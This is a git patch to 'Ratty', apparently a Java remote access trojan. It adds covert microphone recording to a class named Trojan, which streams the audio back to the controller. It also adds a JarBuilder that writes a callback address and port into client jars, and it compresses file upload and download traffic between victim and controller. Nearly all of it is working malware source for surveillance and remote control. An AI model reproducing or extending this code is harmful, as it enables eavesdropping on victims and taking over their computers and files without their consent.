From 81e7540b57d6da9ce286eb0cb77939eddc0c9a1d Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sat, 20 Feb 2016 21:55:13 +0100 Subject: [PATCH] Major changes Made more use of QuickLZ Improved the builder (in terms of code) Started to implement voice again --- Ratty/res/language/lang.properties | 1 + Ratty/res/language/lang_de.properties | 1 + Ratty/res/language/lang_en.properties | 1 + Ratty/src/de/sogomn/rat/ActiveConnection.java | 1 - Ratty/src/de/sogomn/rat/Ratty.java | 2 +- Ratty/src/de/sogomn/rat/Trojan.java | 26 +++- .../src/de/sogomn/rat/builder/JarBuilder.java | 50 +++++++ .../de/sogomn/rat/builder/StubBuilder.java | 129 ------------------ .../sogomn/rat/packet/DownloadFilePacket.java | 10 +- .../sogomn/rat/packet/UploadFilePacket.java | 9 +- .../src/de/sogomn/rat/packet/VoicePacket.java | 18 ++- .../de/sogomn/rat/server/gui/RattyGui.java | 44 +++++- .../rat/server/gui/RattyGuiController.java | 57 +++++++- .../src/de/sogomn/rat/util/VoiceRecorder.java | 66 +++++++++ 14 files changed, 266 insertions(+), 149 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/builder/JarBuilder.java delete mode 100644 Ratty/src/de/sogomn/rat/builder/StubBuilder.java create mode 100644 Ratty/src/de/sogomn/rat/util/VoiceRecorder.java diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index 3a65854..cffead4 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -11,6 +11,7 @@ server.free_no=Cancel builder.address_question=Which address should the client connect to? builder.port_question=Which port? +builder.error=Something went wrong. action.popup=Open popup action.screenshot=Take screensot diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index 79c664a..701a847 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -11,6 +11,7 @@ server.free_no=Abbrechen builder.address_question=Mit welcher Adresse soll sich der Client verbinden? builder.port_question=Welcher Port? +builder.error=Etwas ist schiefgelaufen. action.popup=Popup öffnen action.screenshot=Screenshot machen diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index 3a65854..cffead4 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -11,6 +11,7 @@ server.free_no=Cancel builder.address_question=Which address should the client connect to? builder.port_question=Which port? +builder.error=Something went wrong. action.popup=Open popup action.screenshot=Take screensot diff --git a/Ratty/src/de/sogomn/rat/ActiveConnection.java b/Ratty/src/de/sogomn/rat/ActiveConnection.java index ff37a7f..6db2e5a 100644 --- a/Ratty/src/de/sogomn/rat/ActiveConnection.java +++ b/Ratty/src/de/sogomn/rat/ActiveConnection.java @@ -11,7 +11,6 @@ import de.sogomn.rat.packet.PacketType; public final class ActiveConnection extends TCPConnection { private LinkedBlockingQueue packetQueue; - private Thread sender, reader; private IConnectionObserver observer; diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 6aea3f9..b6b7de3 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -27,7 +27,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.6"; + public static final String VERSION = "1.7"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 326ab73..2a6b517 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -1,15 +1,37 @@ package de.sogomn.rat; import de.sogomn.rat.packet.IPacket; +import de.sogomn.rat.packet.VoicePacket; +import de.sogomn.rat.util.VoiceRecorder; public final class Trojan implements IConnectionObserver { + private VoiceRecorder voiceRecorder; + + private static final int VOICE_BUFFER_SIZE = 1024 << 3; + public Trojan() { - //... + voiceRecorder = new VoiceRecorder(VOICE_BUFFER_SIZE); + + voiceRecorder.start(); + } + + private void handleVoicePacket(final VoicePacket packet) { + final byte[] data = voiceRecorder.getLastRecord(); + + packet.setData(data); } @Override public void packetReceived(final ActiveConnection client, final IPacket packet) { + final Class clazz = packet.getClass(); + + if (clazz == VoicePacket.class) { + final VoicePacket voice = (VoicePacket)packet; + + handleVoicePacket(voice); + } + packet.execute(client); } @@ -18,6 +40,8 @@ public final class Trojan implements IConnectionObserver { final String address = client.getAddress(); final int port = client.getPort(); + voiceRecorder.stop(); + client.setObserver(null); Ratty.connectToHost(address, port); diff --git a/Ratty/src/de/sogomn/rat/builder/JarBuilder.java b/Ratty/src/de/sogomn/rat/builder/JarBuilder.java new file mode 100644 index 0000000..dff076c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/builder/JarBuilder.java @@ -0,0 +1,50 @@ +package de.sogomn.rat.builder; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.IOException; +import java.net.URISyntaxException; +import java.nio.file.FileSystem; +import java.nio.file.FileSystems; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; + +import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.Ratty; + +public final class JarBuilder { + + private static final File JAR_FILE; + + static { + File jarFile = null; + + try { + jarFile = new File(Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI()); + } catch (final URISyntaxException ex) { + ex.printStackTrace(); + } + + JAR_FILE = jarFile; + } + + private JarBuilder(final File file) { + //... + } + + public static void build(final File destination, final String replacement, final byte[] replacementData) throws IOException { + FileUtils.copyFile(JAR_FILE, destination); + + final Path destinationPath = destination.toPath(); + final ByteArrayInputStream in = new ByteArrayInputStream(replacementData); + final FileSystem fileSystem = FileSystems.newFileSystem(destinationPath, null); + final Path replacementPath = fileSystem.getPath(replacement); + + Files.copy(in, replacementPath, StandardCopyOption.REPLACE_EXISTING); + + fileSystem.close(); + in.close(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java deleted file mode 100644 index 1a42e3b..0000000 --- a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java +++ /dev/null @@ -1,129 +0,0 @@ -package de.sogomn.rat.builder; - -import static de.sogomn.rat.Ratty.LANGUAGE; - -import java.io.ByteArrayInputStream; -import java.io.File; -import java.io.IOException; -import java.net.URI; -import java.net.URISyntaxException; -import java.nio.file.FileSystem; -import java.nio.file.FileSystems; -import java.nio.file.Files; -import java.nio.file.Path; -import java.nio.file.StandardCopyOption; - -import javax.swing.JFileChooser; -import javax.swing.JOptionPane; -import javax.swing.filechooser.FileNameExtensionFilter; - -import de.sogomn.engine.util.FileUtils; -import de.sogomn.rat.Ratty; - - -/* - * This class is kinda hardcoded. - * I don't care. - */ -public final class StubBuilder { - - private static final String ADDRESS_MESSAGE = LANGUAGE.getString("builder.address_question"); - private static final String PORT_MESSAGE = LANGUAGE.getString("builder.port_question"); - - private static final String FILE_EXTENSION = ".jar"; - private static final String FILE_NAME = "/connection_data.txt"; - - private StubBuilder() { - //... - } - - private static File getFileInput(final boolean open) { - final JFileChooser fileChooser = new JFileChooser(); - final String currentDirectoryPath = System.getProperty("user.dir"); - final File currentDirectory = new File(currentDirectoryPath); - - fileChooser.setCurrentDirectory(currentDirectory); - fileChooser.setFileFilter(new FileNameExtensionFilter("*.jar", "JAR")); - - final int input = open ? fileChooser.showOpenDialog(null) : fileChooser.showSaveDialog(null); - - if (input == JFileChooser.APPROVE_OPTION) { - File file = fileChooser.getSelectedFile(); - - final String name = file.getName(); - - if (!name.endsWith(FILE_EXTENSION)) { - file = new File(file + FILE_EXTENSION); - } - - return file; - } - - return null; - } - - private static File copyJarFile() { - final File destination = getFileInput(false); - - if (destination == null) { - return null; - } - - try { - final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); - final File source = new File(sourceUri); - - FileUtils.copyFile(source, destination); - - return destination; - } catch (final URISyntaxException ex) { - ex.printStackTrace(); - - return null; - } - } - - private static void replaceFile(final File jarFile) { - final String address = JOptionPane.showInputDialog(ADDRESS_MESSAGE); - - if (address == null || address.isEmpty()) { - jarFile.delete(); - - return; - } - - final String port = JOptionPane.showInputDialog(PORT_MESSAGE); - - if (port == null || port.isEmpty()) { - jarFile.delete(); - - return; - } - - final String fileContent = address + "\r\n" + port + "\r\ntrue"; - final byte[] data = fileContent.getBytes(); - final ByteArrayInputStream in = new ByteArrayInputStream(data); - final Path jarFilePath = jarFile.toPath(); - - try { - final FileSystem jarFileSystem = FileSystems.newFileSystem(jarFilePath, null); - final Path fileToReplace = jarFileSystem.getPath(FILE_NAME); - - Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING); - - jarFileSystem.close(); - in.close(); - } catch (final IOException ex) { - ex.printStackTrace(); - } - } - - public static void start() { - final File jarFile = copyJarFile(); - - if (jarFile != null) { - replaceFile(jarFile); - } - } - -} diff --git a/Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java b/Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java index 70d9cd3..b687626 100644 --- a/Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java @@ -4,6 +4,7 @@ import java.io.File; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.util.QuickLZ; public final class DownloadFilePacket extends AbstractPingPongPacket { @@ -31,8 +32,10 @@ public final class DownloadFilePacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveConnection connection) { - connection.writeInt(data.length); - connection.write(data); + final byte[] compressed = QuickLZ.compress(data); + + connection.writeInt(compressed.length); + connection.write(compressed); connection.writeUTF(fileName); } @@ -46,9 +49,8 @@ public final class DownloadFilePacket extends AbstractPingPongPacket { final int length = connection.readInt(); data = new byte[length]; - connection.read(data); - + data = QuickLZ.decompress(data); fileName = connection.readUTF(); } diff --git a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java index 415294f..dea85dd 100644 --- a/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java @@ -4,6 +4,7 @@ import java.io.File; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.util.QuickLZ; public final class UploadFilePacket implements IPacket { @@ -29,8 +30,10 @@ public final class UploadFilePacket implements IPacket { @Override public void send(final ActiveConnection connection) { - connection.writeInt(data.length); - connection.write(data); + final byte[] compressed = QuickLZ.compress(data); + + connection.writeInt(compressed.length); + connection.write(compressed); connection.writeUTF(folderPath); connection.writeUTF(fileName); } @@ -40,8 +43,8 @@ public final class UploadFilePacket implements IPacket { final int length = connection.readInt(); data = new byte[length]; - connection.read(data); + data = QuickLZ.decompress(data); folderPath = connection.readUTF(); fileName = connection.readUTF(); diff --git a/Ratty/src/de/sogomn/rat/packet/VoicePacket.java b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java index c1215a5..bba3fb2 100644 --- a/Ratty/src/de/sogomn/rat/packet/VoicePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/VoicePacket.java @@ -2,14 +2,22 @@ package de.sogomn.rat.packet; import de.sogomn.engine.fx.Sound; import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.util.QuickLZ; public final class VoicePacket extends AbstractPingPongPacket { private byte[] data; + public VoicePacket(final byte[] data) { + this.data = data; + + type = DATA; + } + public VoicePacket() { + this(new byte[0]); + type = REQUEST; - data = new byte[0]; } @Override @@ -19,8 +27,10 @@ public final class VoicePacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveConnection connection) { - connection.writeInt(data.length); - connection.write(data); + final byte[] compressed = QuickLZ.compress(data); + + connection.writeInt(compressed.length); + connection.write(compressed); } @Override @@ -33,8 +43,8 @@ public final class VoicePacket extends AbstractPingPongPacket { final int length = connection.readInt(); data = new byte[length]; - connection.read(data); + data = QuickLZ.decompress(data); } @Override diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index c51d16a..dc15ca0 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -112,6 +112,8 @@ final class RattyGui extends AbstractListenerContainer { lastServerClientClicked = tableModel.getServerClient(rowIndex); } }; + final String currentPath = System.getProperty("user.dir"); + final File currentDirectory = new File(currentPath); attack.setActionCommand(ATTACK); attack.addActionListener(this::actionPerformed); @@ -125,6 +127,7 @@ final class RattyGui extends AbstractListenerContainer { table.setModel(tableModel); table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION); table.setShowHorizontalLines(true); + fileChooser.setCurrentDirectory(currentDirectory); container.add(scrollPane, BorderLayout.CENTER); container.add(menuBar, BorderLayout.SOUTH); @@ -173,6 +176,10 @@ final class RattyGui extends AbstractListenerContainer { return input; } + public void showError(final String message) { + JOptionPane.showMessageDialog(frame, message, null, JOptionPane.ERROR_MESSAGE, null); + } + public void showMessage(final String message) { final JOptionPane pane = new JOptionPane(message, JOptionPane.INFORMATION_MESSAGE); final JDialog dialog = pane.createDialog(frame, null); @@ -207,12 +214,45 @@ final class RattyGui extends AbstractListenerContainer { return getFile(null); } - public String getInput() { - final String input = JOptionPane.showInputDialog(frame, null); + public File getSaveFile() { + final int input = fileChooser.showSaveDialog(frame); + + if (input == JFileChooser.APPROVE_OPTION) { + final File file = fileChooser.getSelectedFile(); + + return file; + } + + return null; + } + + public File getSaveFile(final String type) { + File file = getSaveFile(); + + if (file == null) { + return null; + } + + final String name = file.getName().toLowerCase(); + final String suffix = "." + type.toLowerCase(); + + if (!name.endsWith(suffix)) { + file = new File(file + suffix); + } + + return file; + } + + public String getInput(final String message) { + final String input = JOptionPane.showInputDialog(frame, message); return input; } + public String getInput() { + return getInput(null); + } + public ServerClient getLastServerClientClicked() { return lastServerClientClicked; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 42b529c..4ee50ea 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -4,14 +4,16 @@ import static de.sogomn.rat.Ratty.LANGUAGE; import java.awt.image.BufferedImage; import java.io.File; +import java.io.IOException; import java.util.HashMap; import java.util.Set; import javax.swing.JOptionPane; +import de.sogomn.engine.fx.ISoundListener; import de.sogomn.engine.fx.Sound; import de.sogomn.rat.ActiveConnection; -import de.sogomn.rat.builder.StubBuilder; +import de.sogomn.rat.builder.JarBuilder; import de.sogomn.rat.packet.AudioPacket; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; @@ -42,9 +44,15 @@ public final class RattyGuiController extends AbstractRattyController implements private HashMap clients; + private static final String BUILDER_REPLACEMENT = "/connection_data.txt"; + private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue"; + private static final String FREE_WARNING = LANGUAGE.getString("server.free_warning"); private static final String FREE_OPTION_YES = LANGUAGE.getString("server.free_yes"); private static final String FREE_OPTION_NO = LANGUAGE.getString("server.free_no"); + private static final String BUILDER_ERROR_MESSAGE = LANGUAGE.getString("builder.error"); + private static final String BUILDER_ADDRESS_QUESTION = LANGUAGE.getString("builder.address_question"); + private static final String BUILDER_PORT_QUESTION = LANGUAGE.getString("builder.port_question"); public RattyGuiController() { gui = new RattyGui(); @@ -204,6 +212,35 @@ public final class RattyGuiController extends AbstractRattyController implements requestFile(client, node); } + private void startBuilder() { + final File destination = gui.getSaveFile("JAR"); + + if (destination == null) { + return; + } + + final String address = gui.getInput(BUILDER_ADDRESS_QUESTION); + + if (address == null) { + return; + } + + final String port = gui.getInput(BUILDER_PORT_QUESTION); + + if (port == null) { + return; + } + + final String replacementString = String.format(BUILDER_REPLACEMENT_FORMAT, address, port); + final byte[] replacementData = replacementString.getBytes(); + + try { + JarBuilder.build(destination, BUILDER_REPLACEMENT, replacementData); + } catch (final IOException ex) { + gui.showError(BUILDER_ERROR_MESSAGE + "\r\n" + ex.getMessage()); + } + } + private void launchAttack() { //... } @@ -220,7 +257,7 @@ public final class RattyGuiController extends AbstractRattyController implements } else if (command == RattyGui.ATTACK) { launchAttack(); } else if (command == RattyGui.BUILD) { - StubBuilder.start(); + startBuilder(); } else if (command == FileTree.NEW_DIRECTORY || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) { handleFileTreeCommand(client, command); } @@ -312,9 +349,21 @@ public final class RattyGuiController extends AbstractRattyController implements } final Sound sound = packet.getSound(); - final VoicePacket request = new VoicePacket(); + final ISoundListener listener = new ISoundListener() { + @Override + public void looped(final Sound source) { + //... + } + + @Override + public void stopped(final Sound source) { + final VoicePacket request = new VoicePacket(); + + client.connection.addPacket(request); + } + }; - client.connection.addPacket(request); + sound.addListener(listener); sound.play(); } diff --git a/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java b/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java new file mode 100644 index 0000000..ce943b4 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/util/VoiceRecorder.java @@ -0,0 +1,66 @@ +package de.sogomn.rat.util; + +import javax.sound.sampled.AudioSystem; +import javax.sound.sampled.LineUnavailableException; +import javax.sound.sampled.TargetDataLine; + +public final class VoiceRecorder { + + private TargetDataLine line; + private Thread thread; + private boolean running; + + private byte[] data; + + public VoiceRecorder(final int bufferSize) { + data = new byte[bufferSize]; + } + + public void start() { + if (running) { + return; + } + + final Runnable runnable = () -> { + while (running) { + line.read(data, 0, data.length); + } + }; + + try { + line = AudioSystem.getTargetDataLine(null); + thread = new Thread(runnable); + running = true; + + line.open(); + line.start(); + thread.start(); + } catch (final LineUnavailableException ex) { + ex.printStackTrace(); + } + } + + public void stop() { + if (!running) { + return; + } + + running = false; + + thread.interrupt(); + line.stop(); + line.close(); + + thread = null; + line = null; + } + + public boolean isRunning() { + return running; + } + + public byte[] getLastRecord() { + return data; + } + +}